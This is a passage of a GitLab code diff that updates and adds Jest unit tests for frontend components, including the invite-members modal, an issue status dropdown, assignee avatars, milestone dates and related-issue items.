+ beforeEach(async () => {
+ createComponent({ stubs: { UrlSync } });
+ mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, [mockOverrides[0]], {
+ 'X-TOTAL': DEFAULT_PER_PAGE * 2,
+ 'X-PAGE': mockPage,
+ });
+
+ // wait for initial load
+ await waitForPromises();
});
- createComponent();
- await waitForPromises();
+ it('renders', () => {
+ expect(findPagination().exists()).toBe(true);
+ });
- expect(findPagination().exists()).toBe(false);
+ describe('when navigating to a page', () => {
+ beforeEach(async () => {
+ jest.spyOn(axios, 'get');
+
+ // trigger a page change
+ await findPagination().vm.$emit('input', mockPage);
+ });
+
+ it('performs GET request with correct params', () => {
+ expect(axios.get).toHaveBeenCalledWith(defaultProps.overridesPath, {
+ params: { page: mockPage, per_page: DEFAULT_PER_PAGE },
+ });
+ });
+
+ it('updates `page` URL parameter', () => {
+ expect(window.location.search).toBe(`?page=${mockPage}`);
+ });
+ });
});
});
});
diff --git a/spec/frontend/invite_members/components/invite_members_modal_spec.js b/spec/frontend/invite_members/components/invite_members_modal_spec.js
index 5be79004640..e190ddf243e 100644
--- a/spec/frontend/invite_members/components/invite_members_modal_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_modal_spec.js
@@ -6,7 +6,6 @@ import {
GlSprintf,
GlLink,
GlModal,
- GlFormCheckboxGroup,
} from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import { stubComponent } from 'helpers/stub_component';
@@ -18,8 +17,6 @@ import InviteMembersModal from '~/invite_members/components/invite_members_modal
import ModalConfetti from '~/invite_members/components/confetti.vue';
import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
import {
- INVITE_MEMBERS_IN_COMMENT,
- MEMBER_AREAS_OF_FOCUS,
INVITE_MEMBERS_FOR_TASK,
CANCEL_BUTTON_TEXT,
INVITE_BUTTON_TEXT,
@@ -28,6 +25,7 @@ import {
MEMBERS_MODAL_DEFAULT_TITLE,
MEMBERS_PLACEHOLDER,
MEMBERS_TO_PROJECT_CELEBRATE_INTRO_TEXT,
+ LEARN_GITLAB,
} from '~/invite_members/constants';
import eventHub from '~/invite_members/event_hub';
import axios from '~/lib/utils/axios_utils';
@@ -51,12 +49,7 @@ const inviteeType = 'members';
const accessLevels = { Guest: 10, Reporter: 20, Developer: 30, Maintainer: 40, Owner: 50 };
const defaultAccessLevel = 10;
const inviteSource = 'unknown';
-const noSelectionAreasOfFocus = ['no_selection'];
const helpLink = 'https://example.com';
-const areasOfFocusOptions = [
- { text: 'area1', value: 'area1' },
- { text: 'area2', value: 'area2' },
-];
const tasksToBeDoneOptions = [
{ text: 'First task', value: 'first' },
{ text: 'Second task', value: 'second' },
@@ -95,9 +88,7 @@ const createComponent = (data = {}, props = {}) => {
isProject,
inviteeType,
accessLevels,
- areasOfFocusOptions,
defaultAccessLevel,
- noSelectionAreasOfFocus,
tasksToBeDoneOptions,
projects,
helpLink,
@@ -163,7 +154,6 @@ describe('InviteMembersModal', () => {
const membersFormGroupInvalidFeedback = () => findMembersFormGroup().props('invalidFeedback');
const membersFormGroupDescription = () => findMembersFormGroup().props('description');
const findMembersSelect = () => wrapper.findComponent(MembersTokenSelect);
- const findAreaofFocusCheckBoxGroup = () => wrapper.findComponent(GlFormCheckboxGroup);
const findTasksToBeDone = () => wrapper.findByTestId('invite-members-modal-tasks-to-be-done');
const findTasks = () => wrapper.findByTestId('invite-members-modal-tasks');
const findProjectSelect = () => wrapper.findByTestId('invite-members-modal-project-select');
@@ -214,21 +204,6 @@ describe('InviteMembersModal', () => {
});
});
- describe('rendering the areas_of_focus', () => {
- it('renders the areas_of_focus checkboxes', () => {
- createComponent();
-
- expect(findAreaofFocusCheckBoxGroup().props('options')).toBe(areasOfFocusOptions);
- expect(findAreaofFocusCheckBoxGroup().exists()).toBe(true);
- });
-
- it('does not render the areas_of_focus checkboxes', () => {
- createComponent({}, { areasOfFocusOptions: [] });
-
- expect(findAreaofFocusCheckBoxGroup().exists()).toBe(false);
- });
- });
-
describe('rendering the tasks to be done', () => {
const setupComponent = (
extraData = {},
@@ -268,6 +243,14 @@ describe('InviteMembersModal', () => {
expect(findTasksToBeDone().exists()).toBe(false);
});
+
+ describe('when opened from the Learn GitLab page', () => {
+ it('does render the tasks to be done', () => {
+ setupComponent({ source: LEARN_GITLAB }, {}, []);
+
+ expect(findTasksToBeDone().exists()).toBe(true);
+ });
+ });
});
describe('rendering the tasks', () => {
@@ -433,20 +416,6 @@ describe('InviteMembersModal', () => {
"The member's email address is not allowed for this project. Go to the Admin area > Sign-up restrictions, and check Allowed domains for sign-ups.";
const expectedSyntaxError = 'email contains an invalid email address';
- it('calls the API with the expected focus data when an areas_of_focus checkbox is clicked', () => {
- const spy = jest.spyOn(Api, 'addGroupMembersByUserId');
- const expectedFocus = [areasOfFocusOptions[0].value];
- createComponent({ newUsersToInvite: [user1] });
-
- findAreaofFocusCheckBoxGroup().vm.$emit('input', expectedFocus);
- clickInviteButton();
-
- expect(spy).toHaveBeenCalledWith(
- user1.id.toString(),
- expect.objectContaining({ areas_of_focus: expectedFocus }),
- );
- });
-
describe('when inviting an existing user to group by user ID', () => {
const postData = {
user_id: '1,2',
@@ -454,7 +423,6 @@ describe('InviteMembersModal', () => {
expires_at: undefined,
invite_source: inviteSource,
format: 'json',
- areas_of_focus: noSelectionAreasOfFocus,
tasks_to_be_done: [],
tasks_project_id: '',
};
@@ -465,17 +433,6 @@ describe('InviteMembersModal', () => {
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
- jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
- });
-
- it('includes the non-default selected areas of focus', () => {
- const focus = ['abc'];
- const updatedPostData = { ...postData, areas_of_focus: focus };
- wrapper.setData({ selectedAreasOfFocus: focus });
-
- clickInviteButton();
-
- expect(Api.addGroupMembersByUserId).toHaveBeenCalledWith(id, updatedPostData);
});
describe('when triggered from regular mounting', () => {
@@ -492,7 +449,23 @@ describe('InviteMembersModal', () => {
});
it('displays the successful toastMessage', () => {
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('Members were successfully added', {
+ onComplete: expect.any(Function),
+ });
+ });
+ });
+
+ describe('when opened from a Learn GitLab page', () => {
+ it('emits the `showSuccessfulInvitationsAlert` event', async () => {
+ eventHub.$emit('openModal', { inviteeType: 'members', source: LEARN_GITLAB });
+
+ jest.spyOn(eventHub, '$emit').mockImplementation();
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('showSuccessfulInvitationsAlert');
});
});
});
@@ -637,7 +610,6 @@ describe('InviteMembersModal', () => {
expires_at: undefined,
email: 'email@example.com',
invite_source: inviteSource,
- areas_of_focus: noSelectionAreasOfFocus,
tasks_to_be_done: [],
tasks_project_id: '',
format: 'json',
@@ -649,17 +621,6 @@ describe('InviteMembersModal', () => {
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
- jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
- });
-
- it('includes the non-default selected areas of focus', () => {
- const focus = ['abc'];
- const updatedPostData = { ...postData, areas_of_focus: focus };
- wrapper.setData({ selectedAreasOfFocus: focus });
-
- clickInviteButton();
-
- expect(Api.inviteGroupMembersByEmail).toHaveBeenCalledWith(id, updatedPostData);
});
describe('when triggered from regular mounting', () => {
@@ -672,7 +633,9 @@ describe('InviteMembersModal', () => {
});
it('displays the successful toastMessage', () => {
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('Members were successfully added', {
+ onComplete: expect.any(Function),
+ });
});
});
});
@@ -711,13 +674,14 @@ describe('InviteMembersModal', () => {
it('displays the successful toast message when email has already been invited', async () => {
mockInvitationsApi(httpStatus.CREATED, invitationsApiResponse.EMAIL_TAKEN);
wrapper.vm.$toast = { show: jest.fn() };
- jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
clickInviteButton();
await waitForPromises();
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('Members were successfully added', {
+ onComplete: expect.any(Function),
+ });
expect(findMembersSelect().props('validationState')).toBe(null);
});
@@ -766,7 +730,6 @@ describe('InviteMembersModal', () => {
access_level: defaultAccessLevel,
expires_at: undefined,
invite_source: inviteSource,
- areas_of_focus: noSelectionAreasOfFocus,
format: 'json',
tasks_to_be_done: [],
tasks_project_id: '',
@@ -782,8 +745,6 @@ describe('InviteMembersModal', () => {
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
- jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
- jest.spyOn(wrapper.vm, 'trackInvite');
});
describe('when triggered from regular mounting', () => {
@@ -800,7 +761,9 @@ describe('InviteMembersModal', () => {
});
it('displays the successful toastMessage', () => {
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('Members were successfully added', {
+ onComplete: expect.any(Function),
+ });
});
});
@@ -855,7 +818,6 @@ describe('InviteMembersModal', () => {
wrapper.setData({ inviteeType: 'group' });
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'groupShareWithGroup').mockResolvedValue({ data: groupPostData });
- jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
clickInviteButton();
});
@@ -865,7 +827,9 @@ describe('InviteMembersModal', () => {
});
it('displays the successful toastMessage', () => {
- expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(wrapper.vm.$toast.show).toHaveBeenCalledWith('Members were successfully added', {
+ onComplete: expect.any(Function),
+ });
});
});
@@ -898,47 +862,11 @@ describe('InviteMembersModal', () => {
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({});
});
- it('tracks the invite', () => {
- eventHub.$emit('openModal', { inviteeType: 'members', source: INVITE_MEMBERS_IN_COMMENT });
-
- clickInviteButton();
-
- expect(ExperimentTracking).toHaveBeenCalledWith(INVITE_MEMBERS_IN_COMMENT);
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('comment_invite_success');
- });
-
- it('does not track invite for unknown source', () => {
- eventHub.$emit('openModal', { inviteeType: 'members', source: 'unknown' });
-
- clickInviteButton();
-
- expect(ExperimentTracking).not.toHaveBeenCalledWith(INVITE_MEMBERS_IN_COMMENT);
- });
-
- it('does not track invite undefined source', () => {
- eventHub.$emit('openModal', { inviteeType: 'members' });
-
- clickInviteButton();
-
- expect(ExperimentTracking).not.toHaveBeenCalledWith(INVITE_MEMBERS_IN_COMMENT);
- });
-
- it('tracks the view for areas_of_focus', () => {
- eventHub.$emit('openModal', { inviteeType: 'members' });
+ it('tracks the view for learn_gitlab source', () => {
+ eventHub.$emit('openModal', { inviteeType: 'members', source: LEARN_GITLAB });
- expect(ExperimentTracking).toHaveBeenCalledWith(MEMBER_AREAS_OF_FOCUS.name);
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith(MEMBER_AREAS_OF_FOCUS.view);
- });
-
- it('tracks the invite for areas_of_focus', () => {
- eventHub.$emit('openModal', { inviteeType: 'members' });
-
- clickInviteButton();
-
- expect(ExperimentTracking).toHaveBeenCalledWith(MEMBER_AREAS_OF_FOCUS.name);
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith(
- MEMBER_AREAS_OF_FOCUS.submit,
- );
+ expect(ExperimentTracking).toHaveBeenCalledWith(INVITE_MEMBERS_FOR_TASK.name);
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith(LEARN_GITLAB);
});
});
});
diff --git a/spec/frontend/invite_members/components/invite_members_trigger_spec.js b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
index 3fce23f854c..429b6fad24a 100644
--- a/spec/frontend/invite_members/components/invite_members_trigger_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
@@ -1,6 +1,5 @@
import { GlButton, GlLink, GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import ExperimentTracking from '~/experimentation/experiment_tracking';
import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
import eventHub from '~/invite_members/event_hub';
import { TRIGGER_ELEMENT_BUTTON, TRIGGER_ELEMENT_SIDE_NAV } from '~/invite_members/constants';
@@ -79,19 +78,6 @@ describe.each(triggerItems)('with triggerElement as %s', (triggerItem) => {
});
describe('tracking', () => {
- it('tracks on mounting', () => {
- createComponent({ trackExperiment: '_track_experiment_' });
-
- expect(ExperimentTracking).toHaveBeenCalledWith('_track_experiment_');
- expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('comment_invite_shown');
- });
-
- it('does not track on mounting', () => {
- createComponent();
-
- expect(ExperimentTracking).not.toHaveBeenCalledWith('_track_experiment_');
- });
-
it('does not add tracking attributes', () => {
createComponent();
diff --git a/spec/frontend/issuable/bulk_update_sidebar/components/status_select_spec.js b/spec/frontend/issuable/bulk_update_sidebar/components/status_select_spec.js
new file mode 100644
index 00000000000..8ecbf41ce56
--- /dev/null
+++ b/spec/frontend/issuable/bulk_update_sidebar/components/status_select_spec.js
@@ -0,0 +1,77 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import StatusSelect from '~/issuable/bulk_update_sidebar/components/status_select.vue';
+import { ISSUE_STATUS_SELECT_OPTIONS } from '~/issuable/bulk_update_sidebar/constants';
+
+describe('StatusSelect', () => {
+ let wrapper;
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findHiddenInput = () => wrapper.find('input');
+
+ function createComponent() {
+ wrapper = shallowMount(StatusSelect);
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with no value selected', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders default text', () => {
+ expect(findDropdown().props('text')).toBe('Select status');
+ });
+
+ it('renders dropdown items with `is-checked` prop set to `false`', () => {
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(false);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ });
+ });
+
+ describe('when selecting a value', () => {
+ const selectItemAtIndex = 0;
+
+ beforeEach(async () => {
+ createComponent();
+ await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
+ });
+
+ it('updates value of the hidden input', () => {
+ expect(findHiddenInput().attributes('value')).toBe(
+ ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].value,
+ );
+ });
+
+ it('updates the dropdown text prop', () => {
+ expect(findDropdown().props('text')).toBe(
+ ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].text,
+ );
+ });
+
+ it('sets dropdown item `is-checked` prop to `true`', () => {
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(true);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ });
+
+ describe('when selecting the value that is already selected', () => {
+ it('clears dropdown selection', async () => {
+ await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
+
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(false);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ expect(findDropdown().props('text')).toBe('Select status');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable/components/issuable_header_warnings_spec.js b/spec/frontend/issuable/components/issuable_header_warnings_spec.js
new file mode 100644
index 00000000000..c8380e42787
--- /dev/null
+++ b/spec/frontend/issuable/components/issuable_header_warnings_spec.js
@@ -0,0 +1,87 @@
+import Vue from 'vue';
+import Vuex from 'vuex';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { createStore as createMrStore } from '~/mr_notes/stores';
+import createIssueStore from '~/notes/stores';
+import IssuableHeaderWarnings from '~/issuable/components/issuable_header_warnings.vue';
+
+const ISSUABLE_TYPE_ISSUE = 'issue';
+const ISSUABLE_TYPE_MR = 'merge request';
+
+Vue.use(Vuex);
+
+describe('IssuableHeaderWarnings', () => {
+ let wrapper;
+
+ const findConfidentialIcon = () => wrapper.findByTestId('confidential');
+ const findLockedIcon = () => wrapper.findByTestId('locked');
+ const findHiddenIcon = () => wrapper.findByTestId('hidden');
+
+ const renderTestMessage = (renders) => (renders ? 'renders' : 'does not render');
+
+ const createComponent = ({ store, provide }) => {
+ wrapper = shallowMountExtended(IssuableHeaderWarnings, {
+ store,
+ provide,
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe.each`
+ issuableType
+ ${ISSUABLE_TYPE_ISSUE} | ${ISSUABLE_TYPE_MR}
+ `(`when issuableType=$issuableType`, ({ issuableType }) => {
+ describe.each`
+ lockStatus | confidentialStatus | hiddenStatus
+ ${true} | ${true} | ${false}
+ ${true} | ${false} | ${false}
+ ${false} | ${true} | ${false}
+ ${false} | ${false} | ${false}
+ ${true} | ${true} | ${true}
+ ${true} | ${false} | ${true}
+ ${false} | ${true} | ${true}
+ ${false} | ${false} | ${true}
+ `(
+ `when locked=$lockStatus, confidential=$confidentialStatus, and hidden=$hiddenStatus`,
+ ({ lockStatus, confidentialStatus, hiddenStatus }) => {
+ const store = issuableType === ISSUABLE_TYPE_ISSUE ? createIssueStore() : createMrStore();
+
+ beforeEach(() => {
+ store.getters.getNoteableData.confidential = confidentialStatus;
+ store.getters.getNoteableData.discussion_locked = lockStatus;
+
+ createComponent({ store, provide: { hidden: hiddenStatus } });
+ });
+
+ it(`${renderTestMessage(lockStatus)} the locked icon`, () => {
+ expect(findLockedIcon().exists()).toBe(lockStatus);
+ });
+
+ it(`${renderTestMessage(confidentialStatus)} the confidential icon`, () => {
+ expect(findConfidentialIcon().exists()).toBe(confidentialStatus);
+ });
+
+ it(`${renderTestMessage(confidentialStatus)} the hidden icon`, () => {
+ const hiddenIcon = findHiddenIcon();
+
+ expect(hiddenIcon.exists()).toBe(hiddenStatus);
+
+ if (hiddenStatus) {
+ expect(hiddenIcon.attributes('title')).toBe(
+ 'This issue is hidden because its author has been banned',
+ );
+ expect(getBinding(hiddenIcon.element, 'gl-tooltip')).not.toBeUndefined();
+ }
+ });
+ },
+ );
+ });
+});
diff --git a/spec/frontend/issuable/components/issue_assignees_spec.js b/spec/frontend/issuable/components/issue_assignees_spec.js
new file mode 100644
index 00000000000..713c8b1dfdd
--- /dev/null
+++ b/spec/frontend/issuable/components/issue_assignees_spec.js
@@ -0,0 +1,145 @@
+import { shallowMount } from '@vue/test-utils';
+import { mockAssigneesList } from 'jest/boards/mock_data';
+import IssueAssignees from '~/issuable/components/issue_assignees.vue';
+import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
+
+const TEST_CSS_CLASSES = 'test-classes';
+const TEST_MAX_VISIBLE = 4;
+const TEST_ICON_SIZE = 16;
+
+describe('IssueAssigneesComponent', () => {
+ let wrapper;
+ let vm;
+
+ const factory = (props) => {
+ wrapper = shallowMount(IssueAssignees, {
+ propsData: {
+ assignees: mockAssigneesList,
+ ...props,
+ },
+ });
+ vm = wrapper.vm;
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findTooltipText = () => wrapper.find('.js-assignee-tooltip').text();
+ const findAvatars = () => wrapper.findAll(UserAvatarLink);
+ const findOverflowCounter = () => wrapper.find('.avatar-counter');
+
+ it('returns default data props', () => {
+ factory({ assignees: mockAssigneesList });
+ expect(vm.iconSize).toBe(24);
+ expect(vm.maxVisible).toBe(3);
+ expect(vm.maxAssignees).toBe(99);
+ });
+
+ describe.each`
+ numAssignees | maxVisible | expectedShown | expectedHidden
+ ${0} | ${3} | ${0} | ${''}
+ ${1} | ${3} | ${1} | ${''}
+ ${2} | ${3} | ${2} | ${''}
+ ${3} | ${3} | ${3} | ${''}
+ ${4} | ${3} | ${2} | ${'+2'}
+ ${5} | ${2} | ${1} | ${'+4'}
+ ${1000} | ${5} | ${4} | ${'99+'}
+ `(
+ 'with assignees ($numAssignees) and maxVisible ($maxVisible)',
+ ({ numAssignees, maxVisible, expectedShown, expectedHidden }) => {
+ beforeEach(() => {
+ factory({ assignees: Array(numAssignees).fill({}), maxVisible });
+ });
+
+ if (expectedShown) {
+ it('shows assignee avatars', () => {
+ expect(findAvatars().length).toEqual(expectedShown);
+ });
+ } else {
+ it('does not show assignee avatars', () => {
+ expect(findAvatars().length).toEqual(0);
+ });
+ }
+
+ if (expectedHidden) {
+ it('shows overflow counter', () => {
+ const hiddenCount = numAssignees - expectedShown;
+
+ expect(findOverflowCounter().exists()).toBe(true);
+ expect(findOverflowCounter().text()).toEqual(expectedHidden.toString());
+ expect(findOverflowCounter().attributes('title')).toEqual(
+ `${hiddenCount} more assignees`,
+ );
+ });
+ } else {
+ it('does not show overflow counter', () => {
+ expect(findOverflowCounter().exists()).toBe(false);
+ });
+ }
+ },
+ );
+
+ describe('when mounted', () => {
+ beforeEach(() => {
+ factory({
+ imgCssClasses: TEST_CSS_CLASSES,
+ maxVisible: TEST_MAX_VISIBLE,
+ iconSize: TEST_ICON_SIZE,
+ });
+ });
+
+ it('computes alt text for assignee avatar', () => {
+ expect(vm.avatarUrlTitle(mockAssigneesList[0])).toBe('Assigned to Terrell Graham');
+ });
+
+ it('renders assignee', () => {
+ const data = findAvatars().wrappers.map((x) => ({
+ ...x.props(),
+ }));
+
+ const expected = mockAssigneesList.slice(0, TEST_MAX_VISIBLE - 1).map((x) =>
+ expect.objectContaining({
+ linkHref: x.web_url,
+ imgAlt: `Assigned to ${x.name}`,
+ imgCssClasses: TEST_CSS_CLASSES,
+ imgSrc: x.avatar_url,
+ imgSize: TEST_ICON_SIZE,
+ }),
+ );
+
+ expect(data).toEqual(expected);
+ });
+
+ describe('assignee tooltips', () => {
+ it('renders "Assignee" header', () => {
+ expect(findTooltipText()).toContain('Assignee');
+ });
+
+ it('renders assignee name', () => {
+ expect(findTooltipText()).toContain('Terrell Graham');
+ });
+
+ it('renders assignee @username', () => {
+ expect(findTooltipText()).toContain('@monserrate.gleichner');
+ });
+
+ it('does not render `@` when username not available', () => {
+ const userName = 'User without username';
+ factory({
+ assignees: [
+ {
+ name: userName,
+ },
+ ],
+ });
+
+ const tooltipText = findTooltipText();
+
+ expect(tooltipText).toContain(userName);
+ expect(tooltipText).not.toContain('@');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable/components/issue_milestone_spec.js b/spec/frontend/issuable/components/issue_milestone_spec.js
new file mode 100644
index 00000000000..44416676180
--- /dev/null
+++ b/spec/frontend/issuable/components/issue_milestone_spec.js
@@ -0,0 +1,160 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+
+import { mockMilestone } from 'jest/boards/mock_data';
+import IssueMilestone from '~/issuable/components/issue_milestone.vue';
+
+const createComponent = (milestone = mockMilestone) => {
+ const Component = Vue.extend(IssueMilestone);
+
+ return shallowMount(Component, {
+ propsData: {
+ milestone,
+ },
+ });
+};
+
+describe('IssueMilestoneComponent', () => {
+ let wrapper;
+ let vm;
+
+ beforeEach((done) => {
+ wrapper = createComponent();
+
+ ({ vm } = wrapper);
+
+ Vue.nextTick(done);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ describe('isMilestoneStarted', () => {
+ it('should return `false` when milestoneStart prop is not defined', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, start_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isMilestoneStarted).toBe(false);
+ });
+
+ it('should return `true` when milestone start date is past current date', async () => {
+ await wrapper.setProps({
+ milestone: { ...mockMilestone, start_date: '1990-07-22' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isMilestoneStarted).toBe(true);
+ });
+ });
+
+ describe('isMilestonePastDue', () => {
+ it('should return `false` when milestoneDue prop is not defined', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, due_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isMilestonePastDue).toBe(false);
+ });
+
+ it('should return `true` when milestone due is past current date', () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, due_date: '1990-07-22' },
+ });
+
+ expect(wrapper.vm.isMilestonePastDue).toBe(true);
+ });
+ });
+
+ describe('milestoneDatesAbsolute', () => {
+ it('returns string containing absolute milestone due date', () => {
+ expect(vm.milestoneDatesAbsolute).toBe('(December 31, 2019)');
+ });
+
+ it('returns string containing absolute milestone start date when due date is not present', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, due_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesAbsolute).toBe('(January 1, 2018)');
+ });
+
+ it('returns empty string when both milestone start and due dates are not present', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, start_date: '', due_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesAbsolute).toBe('');
+ });
+ });
+
+ describe('milestoneDatesHuman', () => {
+ it('returns string containing milestone due date when date is yet to be due', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, due_date: `${new Date().getFullYear() + 10}-01-01` },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesHuman).toContain('years remaining');
+ });
+
+ it('returns string containing milestone start date when date has already started and due date is not present', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, start_date: '1990-07-22', due_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesHuman).toContain('Started');
+ });
+
+ it('returns string containing milestone start date when date is yet to start and due date is not present', async () => {
+ wrapper.setProps({
+ milestone: {
+ ...mockMilestone,
+ start_date: `${new Date().getFullYear() + 10}-01-01`,
+ due_date: '',
+ },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesHuman).toContain('Starts');
+ });
+
+ it('returns empty string when milestone start and due dates are not present', async () => {
+ wrapper.setProps({
+ milestone: { ...mockMilestone, start_date: '', due_date: '' },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.milestoneDatesHuman).toBe('');
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders component root element with class `issue-milestone-details`', () => {
+ expect(vm.$el.classList.contains('issue-milestone-details')).toBe(true);
+ });
+
+ it('renders milestone icon', () => {
+ expect(wrapper.find(GlIcon).props('name')).toBe('clock');
+ });
+
+ it('renders milestone title', () => {
+ expect(vm.$el.querySelector('.milestone-title').innerText.trim()).toBe(mockMilestone.title);
+ });
+
+ it('renders milestone tooltip', () => {
+ expect(vm.$el.querySelector('.js-item-milestone').innerText.trim()).toContain(
+ mockMilestone.title,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/issuable/components/related_issuable_item_spec.js b/spec/frontend/issuable/components/related_issuable_item_spec.js
new file mode 100644
index 00000000000..6ac4c9e8546
--- /dev/null
+++ b/spec/frontend/issuable/components/related_issuable_item_spec.js
@@ -0,0 +1,206 @@
+import { mount } from '@vue/test-utils';
+import { TEST_HOST } from 'helpers/test_constants';
+import IssueDueDate from '~/boards/components/issue_due_date.vue';
+import { formatDate } from '~/lib/utils/datetime_utility';
+import RelatedIssuableItem from '~/issuable/components/related_issuable_item.vue';
+import { defaultAssignees, defaultMilestone } from './related_issuable_mock_data';
+
+describe('RelatedIssuableItem', () => {
+ let wrapper;
+
+ function mountComponent({ mountMethod = mount, stubs = {}, props = {}, slots = {} } = {}) {
+ wrapper = mountMethod(RelatedIssuableItem, {
+ propsData: props,
+ slots,
+ stubs,
+ });
+ }
+
+ const props = {
+ idKey: 1,
+ displayReference: 'gitlab-org/gitlab-test#1',
+ pathIdSeparator: '#',
+ path: `${TEST_HOST}/path`,
+ title: 'title',
+ confidential: true,
+ dueDate: '1990-12-31',
+ weight: 10,
+ createdAt: '2018-12-01T00:00:00.00Z',
+ milestone: defaultMilestone,
+ assignees: defaultAssignees,
+ eventNamespace: 'relatedIssue',
+ };
+ const slots = {
+ dueDate: '<div class="js-due-date-slot"></div>',
+ weight: '<div class="js-weight-slot"></div>',
+ };
+
+ const findRemoveButton = () => wrapper.find({ ref: 'removeButton' });
+ const findLockIcon = () => wrapper.find({ ref: 'lockIcon' });
+
+ beforeEach(() => {
+ mountComponent({ props, slots });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('contains issuable-info-container class when canReorder is false', () => {
+ expect(wrapper.props('canReorder')).toBe(false);
+ expect(wrapper.find('.issuable-info-container').exists()).toBe(true);
+ });
+
+ it('does not render token state', () => {
+ expect(wrapper.find('.text-secondary svg').exists()).toBe(false);
+ });
+
+ it('does not render remove button', () => {
+ expect(wrapper.find({ ref: 'removeButton' }).exists()).toBe(false);
+ });
+
+ describe('token title', () => {
+ it('links to computedPath', () => {
+ expect(wrapper.find('.item-title a').attributes('href')).toEqual(wrapper.props('path'));
+ });
+
+ it('renders confidential icon', () => {
+ expect(wrapper.find('.confidential-icon').exists()).toBe(true);
+ });
+
+ it('renders title', () => {
